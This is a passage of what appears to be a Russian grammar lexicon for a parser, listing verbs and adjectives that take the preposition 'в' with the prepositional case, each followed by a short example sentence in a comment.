rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ) rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ) rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ) rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ) rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ) rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ) rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ) rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ) rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ) rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ) rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ) rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ) rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ) rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ) rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ) rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ) rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ) rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ) rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ) rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ) rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ) rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ) rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ) rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ) rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ) rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ) rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ) rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ) инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан глагол:проводить{ вид:несоверш }, деепричастие:проводя{}, rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл) rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл) rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл) rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл) rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл) rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл) rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл) rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл) rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл) rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл) rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл) rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл) rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл) rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл) rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл) прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В) rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл) rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл) rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл) rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл) rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл) rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл) rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл) rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл) rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В) rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В) rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл) rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В) rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл) rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл) rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В) rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл) rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл) rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В) rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл) rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В) rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В) rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В) rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В) rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл) rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В) частица:нет{}, // В этом нет сомнения. частица:нету{}, // В этом нету сомнения. rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов. прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В) rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В) rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В) rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В) rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл) rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В) rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в) rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В) rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В) rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В) rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В) rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В) rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В) rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В) rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В) rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В) rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В) rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В) rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В) rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В) rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:РАСКЛАДЫВАТЬСЯ{}, rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В) rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В) rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В) rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В) rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл) rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В) rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В) инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В) глагол:НАПИСАТЬ{ aux stress="напис^ать" }, прилагательное:НАПИСАННЫЙ{}, rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В) rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В) rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В) rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В) rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В) rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В) rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл) rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл) rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В) безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в) rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В) rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В) rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В) rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В) rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В) rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В) rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В) rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В) rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В) rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В) rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В) rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В) rus_verbs:объявить{}, // В газете объявили о конкурсе. rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В) rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В) rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в) rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в) rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в) rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в) инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В) глагол:ПАРИТЬ{ aux stress="пар^ить"}, деепричастие:паря{ aux stress="пар^я" }, прилагательное:ПАРЯЩИЙ{}, прилагательное:ПАРИВШИЙ{}, rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В) rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В) rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в) rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В) rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В) rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В) rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В) rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В) rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В) rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в) rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в) rus_verbs:принять{}, // Документ принят в следующей редакции (принять в) rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в) rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В) rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в) rus_verbs:звучать{}, // в доме звучала музыка (звучать в) rus_verbs:колебаться{}, // колеблется в выборе (колебаться в) rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в) rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в) rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в) rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в) rus_verbs:вычитывать{}, // вычитывать в книге rus_verbs:гудеть{}, // У него в ушах гудит. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки. rus_verbs:разойтись{}, // Они разошлись в темноте. rus_verbs:прибежать{}, // Мальчик прибежал в слезах. rus_verbs:биться{}, // Она билась в истерике. rus_verbs:регистрироваться{}, // регистрироваться в системе rus_verbs:считать{}, // я буду считать в уме rus_verbs:трахаться{}, // трахаться в гамаке rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке rus_verbs:разрушать{}, // разрушать в дробилке rus_verbs:засидеться{}, // засидеться в гостях rus_verbs:засиживаться{}, // засиживаться в гостях rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке) rus_verbs:навестить{}, // навестить в доме престарелых rus_verbs:запомнить{}, // запомнить в кэше rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.) rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка) rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику. rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.) rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу rus_verbs:оглядываться{}, // оглядываться в зеркале rus_verbs:нарисовать{}, // нарисовать в тетрадке rus_verbs:пробить{}, // пробить отверствие в стене rus_verbs:повертеть{}, // повертеть в руке rus_verbs:вертеть{}, // Я вертел в руках rus_verbs:рваться{}, // Веревка рвется в месте надреза rus_verbs:распространяться{}, // распространяться в среде наркоманов rus_verbs:попрощаться{}, // попрощаться в здании морга rus_verbs:соображать{}, // соображать в уме инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот) rus_verbs:разобрать{}, // разобрать в гараже rus_verbs:помереть{}, // помереть в пути rus_verbs:различить{}, // различить в темноте rus_verbs:рисовать{}, // рисовать в графическом редакторе rus_verbs:проследить{}, // проследить в записях камер слежения rus_verbs:совершаться{}, // Правосудие совершается в суде rus_verbs:задремать{}, // задремать в кровати rus_verbs:ругаться{}, // ругаться в комнате rus_verbs:зазвучать{}, // зазвучать в радиоприемниках rus_verbs:задохнуться{}, // задохнуться в воде rus_verbs:порождать{}, // порождать в неокрепших умах rus_verbs:отдыхать{}, // отдыхать в санатории rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении rus_verbs:образовать{}, // образовать в пробирке темную взвесь rus_verbs:отмечать{}, // отмечать в списке rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте rus_verbs:плясать{}, // плясать в откружении незнакомых людей rus_verbs:повысить{}, // повысить в звании rus_verbs:поджидать{}, // поджидать в подъезде rus_verbs:отказать{}, // отказать в пересмотре дела rus_verbs:раствориться{}, // раствориться в бензине rus_verbs:отражать{}, // отражать в стихах rus_verbs:дремать{}, // дремать в гамаке rus_verbs:применяться{}, // применяться в домашних условиях rus_verbs:присниться{}, // присниться во сне rus_verbs:трястись{}, // трястись в драндулете rus_verbs:сохранять{}, // сохранять в неприкосновенности rus_verbs:расстрелять{}, // расстрелять в ложбине rus_verbs:рассчитать{}, // рассчитать в программе rus_verbs:перебирать{}, // перебирать в руке rus_verbs:разбиться{}, // разбиться в аварии rus_verbs:поискать{}, // поискать в углу rus_verbs:мучиться{}, // мучиться в тесной клетке rus_verbs:замелькать{}, // замелькать в телевизоре rus_verbs:грустить{}, // грустить в одиночестве rus_verbs:крутить{}, // крутить в банке rus_verbs:объявиться{}, // объявиться в городе rus_verbs:подготовить{}, // подготовить в тайне rus_verbs:различать{}, // различать в смеси rus_verbs:обнаруживать{}, // обнаруживать в крови rus_verbs:киснуть{}, // киснуть в захолустье rus_verbs:оборваться{}, // оборваться в начале фразы rus_verbs:запутаться{}, // запутаться в веревках rus_verbs:общаться{}, // общаться в интимной обстановке rus_verbs:сочинить{}, // сочинить в ресторане rus_verbs:изобрести{}, // изобрести в домашней лаборатории rus_verbs:прокомментировать{}, // прокомментировать в своем блоге rus_verbs:давить{}, // давить в зародыше rus_verbs:повториться{}, // повториться в новом обличье rus_verbs:отставать{}, // отставать в общем зачете rus_verbs:разработать{}, // разработать в лаборатории rus_verbs:качать{}, // качать в кроватке rus_verbs:заменить{}, // заменить в двигателе rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере rus_verbs:забегать{}, // забегать в спешке rus_verbs:наделать{}, // наделать в решении ошибок rus_verbs:исказиться{}, // исказиться в кривом зеркале rus_verbs:тушить{}, // тушить в помещении пожар rus_verbs:охранять{}, // охранять в здании входы rus_verbs:приметить{}, // приметить в кустах rus_verbs:скрыть{}, // скрыть в складках одежды rus_verbs:удерживать{}, // удерживать в заложниках rus_verbs:увеличиваться{}, // увеличиваться в размере rus_verbs:красоваться{}, // красоваться в новом платье rus_verbs:сохраниться{}, // сохраниться в тепле rus_verbs:лечить{}, // лечить в стационаре rus_verbs:смешаться{}, // смешаться в баке rus_verbs:прокатиться{}, // прокатиться в троллейбусе rus_verbs:договариваться{}, // договариваться в закрытом кабинете rus_verbs:опубликовать{}, // опубликовать в официальном блоге rus_verbs:охотиться{}, // охотиться в прериях rus_verbs:отражаться{}, // отражаться в окне rus_verbs:понизить{}, // понизить в должности rus_verbs:обедать{}, // обедать в ресторане rus_verbs:посидеть{}, // посидеть в тени rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете rus_verbs:свершиться{}, // свершиться в суде rus_verbs:ночевать{}, // ночевать в гостинице rus_verbs:темнеть{}, // темнеть в воде rus_verbs:гибнуть{}, // гибнуть в застенках rus_verbs:усиливаться{}, // усиливаться в направлении главного удара rus_verbs:расплыться{}, // расплыться в улыбке rus_verbs:превышать{}, // превышать в несколько раз rus_verbs:проживать{}, // проживать в отдельной коморке rus_verbs:голубеть{}, // голубеть в тепле rus_verbs:исследовать{}, // исследовать в естественных условиях rus_verbs:обитать{}, // обитать в лесу rus_verbs:скучать{}, // скучать в одиночестве rus_verbs:сталкиваться{}, // сталкиваться в воздухе rus_verbs:таиться{}, // таиться в глубине rus_verbs:спасать{}, // спасать в море rus_verbs:заблудиться{}, // заблудиться в лесу rus_verbs:создаться{}, // создаться в новом виде rus_verbs:пошарить{}, // пошарить в кармане rus_verbs:планировать{}, // планировать в программе rus_verbs:отбить{}, // отбить в нижней части rus_verbs:отрицать{}, // отрицать в суде свою вину rus_verbs:основать{}, // основать в пустыне новый город rus_verbs:двоить{}, // двоить в глазах rus_verbs:устоять{}, // устоять в лодке rus_verbs:унять{}, // унять в ногах дрожь rus_verbs:отзываться{}, // отзываться в обзоре rus_verbs:притормозить{}, // притормозить в траве rus_verbs:читаться{}, // читаться в глазах rus_verbs:житься{}, // житься в деревне rus_verbs:заиграть{}, // заиграть в жилах rus_verbs:шевелить{}, // шевелить в воде rus_verbs:зазвенеть{}, // зазвенеть в ушах rus_verbs:зависнуть{}, // зависнуть в библиотеке rus_verbs:затаить{}, // затаить в душе обиду rus_verbs:сознаться{}, // сознаться в совершении rus_verbs:протекать{}, // протекать в легкой форме rus_verbs:выясняться{}, // выясняться в ходе эксперимента rus_verbs:скрестить{}, // скрестить в неволе rus_verbs:наводить{}, // наводить в комнате порядок rus_verbs:значиться{}, // значиться в документах rus_verbs:заинтересовать{}, // заинтересовать в получении результатов rus_verbs:познакомить{}, // познакомить в непринужденной обстановке rus_verbs:рассеяться{}, // рассеяться в воздухе rus_verbs:грохнуть{}, // грохнуть в подвале rus_verbs:обвинять{}, // обвинять в вымогательстве rus_verbs:столпиться{}, // столпиться в фойе rus_verbs:порыться{}, // порыться в сумке rus_verbs:ослабить{}, // ослабить в верхней части rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки rus_verbs:спастись{}, // спастись в хижине rus_verbs:прерваться{}, // прерваться в середине фразы rus_verbs:применять{}, // применять в повседневной работе rus_verbs:строиться{}, // строиться в зоне отчуждения rus_verbs:путешествовать{}, // путешествовать в самолете rus_verbs:побеждать{}, // побеждать в честной битве rus_verbs:погубить{}, // погубить в себе артиста rus_verbs:рассматриваться{}, // рассматриваться в следующей главе rus_verbs:продаваться{}, // продаваться в специализированном магазине rus_verbs:разместиться{}, // разместиться в аудитории rus_verbs:повидать{}, // повидать в жизни rus_verbs:настигнуть{}, // настигнуть в пригородах rus_verbs:сгрудиться{}, // сгрудиться в центре загона rus_verbs:укрыться{}, // укрыться в доме rus_verbs:расплакаться{}, // расплакаться в суде rus_verbs:пролежать{}, // пролежать в канаве rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде rus_verbs:поскользнуться{}, // поскользнуться в коридоре rus_verbs:таскать{}, // таскать в руках rus_verbs:нападать{}, // нападать в вольере rus_verbs:просматривать{}, // просматривать в браузере rus_verbs:обдумать{}, // обдумать в дороге rus_verbs:обвинить{}, // обвинить в измене rus_verbs:останавливать{}, // останавливать в дверях rus_verbs:теряться{}, // теряться в догадках rus_verbs:погибать{}, // погибать в бою rus_verbs:обозначать{}, // обозначать в списке rus_verbs:запрещать{}, // запрещать в парке rus_verbs:долететь{}, // долететь в вертолёте rus_verbs:тесниться{}, // тесниться в каморке rus_verbs:уменьшаться{}, // уменьшаться в размере rus_verbs:издавать{}, // издавать в небольшом издательстве rus_verbs:хоронить{}, // хоронить в море rus_verbs:перемениться{}, // перемениться в лице rus_verbs:установиться{}, // установиться в северных областях rus_verbs:прикидывать{}, // прикидывать в уме rus_verbs:затаиться{}, // затаиться в траве rus_verbs:раздобыть{}, // раздобыть в аптеке rus_verbs:перебросить{}, // перебросить в товарном составе rus_verbs:погружаться{}, // погружаться в батискафе rus_verbs:поживать{}, // поживать в одиночестве rus_verbs:признаваться{}, // признаваться в любви rus_verbs:захватывать{}, // захватывать в здании rus_verbs:покачиваться{}, // покачиваться в лодке rus_verbs:крутиться{}, // крутиться в колесе rus_verbs:помещаться{}, // помещаться в ящике rus_verbs:питаться{}, // питаться в столовой rus_verbs:отдохнуть{}, // отдохнуть в пансионате rus_verbs:кататься{}, // кататься в коляске rus_verbs:поработать{}, // поработать в цеху rus_verbs:подразумевать{}, // подразумевать в задании rus_verbs:ограбить{}, // ограбить в подворотне 